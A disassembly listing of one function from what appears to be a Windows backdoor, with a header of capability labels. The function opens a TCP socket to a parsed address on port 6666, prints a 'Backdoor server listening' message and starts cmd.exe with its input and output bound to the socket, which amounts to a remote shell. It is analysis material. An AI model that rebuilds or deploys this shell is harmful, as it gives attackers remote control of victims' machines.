Function at 0x40161a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
mov eax, 0x13b8
call fcn.00404270
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1350], rcx
lea rdx, [rbp + 0x110]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x1180]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x401684
lea rax, str.WSAStartup_failed._n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x401a2b
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x1328], rax
cmp qword [rbp + 0x1328], 0xffffffffffffffff
jne 0x4016dd
lea rax, str.Error_creating_socket._n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x401a2b
lea rcx, [rbp - 0x24]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x1350]
mov r9, rcx
mov r8, rdx
lea rdx, str.__:_:_d
mov rcx, rax
call sym.sscanf
mov dword [rbp - 0x24], 0x1a0a
mov word [rbp + 0xe0], 2
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0xe4], eax
mov eax, dword [rbp - 0x24]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0xe2], ax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x1328]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
test eax, eax
je 0x4017bd
mov edx, dword [rbp - 0x24]
lea rax, [rbp - 0x20]
mov r8d, edx
mov rdx, rax
lea rax, str.Attempting_to_bind_to_IP_address:__s__Port:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1328]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov eax, 1
jmp 0x401a2b
mov rax, qword [rbp + 0x1328]
mov edx, 0x7fffffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_listen]
call rax
test eax, eax
jne 0x4017f2
lea rax, str.Listen_failed._n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x401a2b
mov eax, dword [rbp - 0x24]
mov edx, eax
lea rax, str.Backdoor_server_listening_on_port__d..._n
mov rcx, rax
call sym.printf
cmp qword [rbp + 0x1328], 0xffffffffffffffff
jne 0x401829
lea rax, str.Accept_failed._n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x401a2b
lea rax, str.Connection_accepted._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1328]
mov edx, 0
mov ecx, eax
call sym.dup2
mov rax, qword [rbp + 0x1328]
mov edx, 1
mov ecx, eax
call sym.dup2
mov rax, qword [rbp + 0x1328]
mov edx, 2
mov ecx, eax
call sym.dup2
lea rax, [rbp + 0x180]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x110]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x180]
mov rax, qword [rbp + 0x1328]
mov r9d, 0
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1324], eax
cmp dword [rbp + 0x1324], 0
jle 0x40196a
mov eax, dword [rbp + 0x1324]
cdqe
mov byte [rbp + rax + 0x180], 0
lea rax, [rbp + 0x110]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x110], 0x68
lea rax, [rbp + 0xf0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x110], 0x68
mov dword [rbp + 0x14c], 0x101
mov rax, qword [rbp + 0x1328]
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x160], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x401a0a
mov rax, qword [rbp + 0xf0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1328]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x13b8
pop rdi
pop rbp
ret